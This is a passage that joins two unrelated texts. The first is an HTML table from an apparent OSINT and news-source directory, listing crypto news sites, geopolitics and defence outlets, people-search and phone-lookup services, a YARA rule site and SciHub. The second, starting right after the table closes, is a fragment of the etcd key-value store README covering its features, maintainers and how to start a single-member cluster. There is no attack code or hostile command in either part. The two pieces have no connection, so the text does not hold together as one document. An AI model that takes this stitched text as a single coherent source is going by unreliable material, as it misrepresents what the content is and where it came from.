srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Get the latest news about the cryptocurrency. We provide Bitcoin, Altcoin, Bitcoin Cash, Mining tool information. We are the leader in the Crypto Market.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coingeek.com'>CoinGeek</a><br><a href='https://t.me/realcoingeekdiscussion'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/realcoingeek'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/realcoingeek'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coingeek_official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coingeek'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/uc95_nqes9m5arhot1lt1sfg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>CoinGeek offers the latest Bitcoin News and Government & Enterprise Utility Blockchain information. Gain insights into the true Vision of Satoshi Nakamoto.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptopotato.com'>CryptoPotato</a><br><a href='https://t.me/CryptoPotato'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/Crypto_Potato'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/CryptoPotato'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>The ultimate gate to the cryptocurrency world: The latest Bitcoin and crypto news, price analysis, trading and how-to guides for beginners and experts</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptopanic.com'>CryptoPanic</a><br></td><td>News aggregator platform indicating impact on price and market for traders and cryptocurrency enthusiasts</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptobriefing.com'>Crypto Briefing</a><br><a href='https://t.me/cryptobriefing'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/crypto_briefing'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cryptobriefing'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/cryptobriefing'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Bitcoin, Ethereum and the future of finance</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.cryptonewsz.com'>CryptoNewsZ</a><br><a href='https://in.linkedin.com/company/cryptonewsz'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://t.me/cryptonewszdotcom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/cryptonewsz_'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cryptonewsz'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cryptonewszcom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCLUHoRmSiTTBLxYpqjn_vBw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Get CryptoNewsZ for latest crypto news & updates. From top stories on Bitcoin, Altcoins, Blockchain, DeFi, Web3, NFT, Metaverse, Gaming, DAO, Finance, Forex & more.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.globalcryptopress.com'>Global Crypto Press</a><br><a href='https://twitter.com/thecryptopress'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/globalcryptopress'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/global_crypto_press'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/global-crypto-press-news'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Cryptocurrency News Live and Breaking in Real-Time! Current crypto coin prices, analysis, and predictions from the Global Crypto Press Association.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptodaily.co.uk'>Crypto Daily</a><br><a href='https://t.me/officialcryptodaily'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/cryptodailyuk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cryptodailyofficial'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cryptodailyofficial'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Cryptocurrency News and digital finance analysis from Crypto Daily. Live price updates, and crypto currency articles and videos for the latest Blockchain news.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.ft.com'>Financial Times</a><br><a href='https://twitter.com/financialtimes'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>News, analysis and comment from the Financial Times, the world's leading global business publication</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://chainwire.org/newsroom'>Chainwire Newsroom</a><br></td><td>The Chainwire newsroom is a source for the latest news in crypto & blockchain, from the leading crypto press release distribution service.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.crypto-news.net'>CryptoNews</a><br><a href='https://twitter.com/_cryptonews_net'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/crypto-news-net'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>News from the world of cryptocurrencies</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinfea.com'>Coinfea</a><br><a href='http://t.me/coinfea'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/coinfea'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coinfeaofficial'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coinfea'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Crypto and Blockchain News</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinnounce.com'>Coinnounce</a><br><a href='https://twitter.com/coinnounce'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coinnounce'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coinnounce'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Coinnounce has been the best source for the latest crypto & bitcoin news since 2018. Read the latest on the blockchain, BTC, eth, NFTs, and metaverse.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.cryptotimes.io'>The Crypto Times</a><br><a href='https://facebook.com/cryptotimes.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://t.me/cryptotimesio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/cryptotimes_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cryptotimes.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/74922434'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Stay informed with the latest crypto news and updates on Bitcoin, Ethereum, NFTs, Altcoin, DeFi, and Metaverse trends from Crypto Times.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://crypto-ml.com'>Crypto-ML</a><br><a href='https://twitter.com/crypto_ml'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/CryptoML.Official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/crypto-ml'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Crypto-ML machine learning and big data for crypto investors. With human-friendly market intelligence. Bitcoin, Ethereum, and top cryptocurrencies.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://quantifycrypto.com'>Quantify Crypto</a><br></td><td>Free cryptocurrency analytics, price alerts, professional tools, heatmaps, strategies, educational content, news, charts and more.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://app.intotheblock.com'>IntoTheBlock</a><br></td><td>ITB is set out on a journey to unlock the mysteries of crypto assets and provide investors with relevant intelligence about the market.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://epbresearch.com/category/written-reports'>EPB Research</a><br><a href='https://twitter.com/EPBResearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/profile.php?id=100088700287961'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/eric-basmajian-32614116a'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>EPB's industry-leading research, reports, and videos will give you the knowledge you need to stay ahead of economic cycles and make more informed investment decisions.</td><td>GLOBAL</td><td>economics,stocks</td></tr>
<tr><td><a href='https://www.livemint.com'>Mint</a><br><a href='https://twitter.com/livemint'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/mint.live'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/livemint'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCUI9vm69ZbAqRK3q3vKLWCQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>latest Business News headlines, LIVE share market news and updates, financial, economic and banking news from India & across the World on Mint.</td><td>GLOBAL</td><td>economics,stocks</td></tr>
<tr><td><a href='https://www.macrovisor.com'>MacroVisor</a><br><a href='https://twitter.com/theMacroVisors'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Bringing you unique and in-depth analysis on the economy and financial markets from the big picture macro view to the fundamentals and beyond.</td><td>GLOBAL</td><td>economics,stocks</td></tr>
<tr><td><a href='https://www.palladiummag.com'>Palladium Magazine</a><br><a href='https://twitter.com/palladiummag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Palladium is a San Francisco-based non-partisan publication that explores the future of governance and society through journalism, analysis, and philosophy.</td><td>GLOBAL</td><td>geopolitics,economics,terrorism</td></tr>
<tr><td><a href='https://epieos.com'>Epieos</a><br></td><td>An OSINT search engine that allows you to perform reverse email search, find related google reviews, use Holehe online, and many other things.</td><td>GLOBAL</td><td>web,social</td></tr>
<tr><td><a href='https://www.project-syndicate.org'>Project Syndicate</a><br><a href='https://twitter.com/prosyn'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/projectsyndicate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/project-syndicate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/ProjectSyndicate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Project Syndicate produces and delivers original, high-quality commentaries to a global audience. Featuring exclusive contributions by prominent political leaders, policymakers, scholars, business leaders, and civic activists from around the world, we provide news media and their readers with cutting-edge analysis and insight, regardless of ability to pay.</td><td>GLOBAL</td><td>geopolitics,economics,stocks</td></tr>
<tr><td><a href='https://digitalfootprintcheck.com'>Digital Footprint Check</a><br><a href='https://twitter.com/FootPrintCheck'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/DigitalFootprintCheck'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/digital-footprint-check/'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Search the internet including social media accounts, employment history, dating profiles, gaming profiles, dark web credential breaches, indexed search engine occurrences, and more.</td><td>GLOBAL</td><td>web,social</td></tr>
<tr><td><a href='https://www.civilnet.am/en'>CivilNet</a><br></td><td>News from Armenia, Karabakh, and the post-Soviet neighborhood.</td><td>FORMER SOVIET UNION</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://biznar.com/biznar/desktop/en/search.html'>BizNar</a><br></td><td>Deep Web Business Intelligence</td><td>GLOBAL</td><td>web,company</td></tr>
<tr><td><a href='https://www.defensenews.com'>Defense News</a><br></td><td>Defense News is a global website and magazine about the politics, business and technology of defense, serving senior military and industry decision-makers.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.navalnews.com'>Naval News</a><br></td><td>Naval News brings you news coverage of the latest naval defense shows & events. We are also reporting on naval technology from all over the world.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://news.usni.org'>USNI News</a><br></td><td>Maritime News and Analysis</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.iir.cz/en/'>Institute of International Relations</a><br></td><td>The Institute of International Relations Prague (IIR) is an independent public research institution that conducts excellent academic research in the larger field of international relations. It is established by the Ministry of Foreign Affairs of the Czech Republic.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.janes.com/'>Janes</a><br></td><td>The trusted source for defence intelligence - Unrivalled defence and security analysis - Military platforms - Threat intelligence - Industry awareness and advisory services</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://valhalla.nextron-systems.com/'>Valhalla</a><br></td><td>Valhalla YARA Rules</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://tass.com'>TASS News</a><br></td><td>Since 1904 TASS has been Russia's leading news agency. For more than 113 years, TASS has ceaselessly strived to deliver the latest and most accurate news from around the world</td><td>RUSSIA</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://sputnikglobe.com'>Sputnik News</a><br></td><td>Sputnik International is a global news agency keeping you updated on all the latest world news 24/7. Browse Sputnik for breaking news and top stories on politics, economy, social media and the most viral trends.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.pakpips.com'>PIPS</a><br></td><td>Pak Institute For Peace Studies (PIPS) | An independent think-tank</td><td>PAKISTAN</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.picss.net'>PICSS</a><br></td><td>Pakistan Institute for Conflict and Security Studies (PICSS) works as an institution, that provides authentic, credible, reliable, up to date, and efficient information and objective analysis related to defense and security, for policy development leading to peace and stability</td><td>PAKISTAN</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.reuters.com'>Reuters</a><br></td><td>Find latest news from every corner of the globe at Reuters.com, your online source for breaking international news coverage.</td><td>GLOBAL</td><td>geopolitics,terrorism,stocks</td></tr>
<tr><td><a href='https://rt.com'>RT</a><br></td><td>RT is the first Russian 24/7 English-language news channel which brings the Russian view on global news.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://internetactivism.org'>InternetActivism</a><br></td><td>A nonprofit that develops digital humanitarian tools in response to crisis.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://iiss.org'>IISS</a><br></td><td>International Institute for Strategic Studies (IISSS) is a world-leading authority on global security, political risk and military conflict.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://cfr.org/newsletters'>CFR</a><br></td><td>The Council on Foreign Relations (CFR) newsletters are available on a range of international relations and foreign policy topics from a Daily News Brief and The World This Week to Eyes on Asia and This Month in Geoeconomics.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://sci-hub.ru'>SciHub</a><br></td><td>Get free access to academic journals. Download research papers for free from ScienceDirect, IEEE, Wiley, Springer, Nature and others</td><td>GLOBAL</td><td>academic</td></tr>
<tr><td><a href='https://www.idcrawl.com'>IDCrawl</a><br></td><td>Search a friend, relative, yourself, or someone else you may know</td><td>U.S.A.</td><td>social</td></tr>
<tr><td><a href='https://osint.industries'>Osint Industries</a><br></td><td>Discover how Osint Industries specializes in leveraging OSINT to investigate emails and phone numbers. Unlock valuable insights and conduct comprehensive investigations using our advanced tools and resources.</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='http://espysys.com'>ESPY</a><br></td><td>Reverse phone numbers into detailed and reliable OSINT data, by using our Phone Lookup API to collect real-time intelligence from dozens of sources.</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='https://sunders.uber.space'>SUNDERS</a><br></td><td>Surveillance under Surveillance shows you cameras and guards — watching you — almost everywhere. You can see where they are located and, if the information is available, what type they are, the area they observe, or other interesting facts.</td><td>GLOBAL</td><td>network</td></tr>
</table></div> |
# etcd
[](https://goreportcard.com/report/github.com/etcd-io/etcd)
[](https://app.codecov.io/gh/etcd-io/etcd/tree/main)
[](https://github.com/etcd-io/etcd/actions/workflows/tests.yaml)
[](https://github.com/etcd-io/etcd/actions/workflows/codeql-analysis.yml)
[](https://etcd.io/docs)
[](https://godoc.org/github.com/etcd-io/etcd)
[](https://github.com/etcd-io/etcd/releases)
[](https://github.com/etcd-io/etcd/blob/main/LICENSE)
[](https://api.securityscorecards.dev/projects/github.com/etcd-io/etcd)
**Note**: The `main` branch may be in an *unstable or even broken state* during development. For stable versions, see [releases][github-release].
etcd is a distributed reliable key-value store for the most critical data of a distributed system, with a focus on being:
* *Simple*: well-defined, user-facing API (gRPC)
* *Secure*: automatic TLS with optional client cert authentication
* *Fast*: benchmarked 10,000 writes/sec
* *Reliable*: properly distributed using Raft
etcd is written in Go and uses the [Raft][] consensus algorithm to manage a highly-available replicated log.
etcd is used [in production by many companies](./ADOPTERS.md), and the development team stands behind it in critical deployment scenarios, where etcd is frequently teamed with applications such as [Kubernetes][k8s], [locksmith][], [vulcand][], [Doorman][], and many others. Reliability is further ensured by rigorous [**robustness testing**](https://github.com/etcd-io/etcd/tree/main/tests/robustness).
See [etcdctl][etcdctl] for a simple command line client.
<sub>Original image credited to xkcd.com/2347, alterations by Josh Berkus.</sub>
[raft]: https://raft.github.io/
[k8s]: http://kubernetes.io/
[doorman]: https://github.com/youtube/doorman
[locksmith]: https://github.com/coreos/locksmith
[vulcand]: https://github.com/vulcand/vulcand
[etcdctl]: https://github.com/etcd-io/etcd/tree/main/etcdctl
## Maintainers
[MAINTAINERS](MAINTAINERS) strive to shape an inclusive open source project culture where users are heard and contributors feel respected and empowered. MAINTAINERS maintain productive relationships across different companies and disciplines. Read more about [MAINTAINERS role and responsibilities](Documentation/contributor-guide/community-membership.md#maintainers).
## Getting started
### Getting etcd
The easiest way to get etcd is to use one of the pre-built release binaries which are available for OSX, Linux, Windows, and Docker on the [release page][github-release].
For more installation guides, please check out [play.etcd.io](http://play.etcd.io) and [operating etcd](https://etcd.io/docs/latest/op-guide).
[github-release]: https://github.com/etcd-io/etcd/releases
### Running etcd
First start a single-member cluster of etcd.
If etcd is installed using the [pre-built release binaries][github-release], run it from the installation location as below:
```bash
/tmp/etcd-download-test/etcd
```
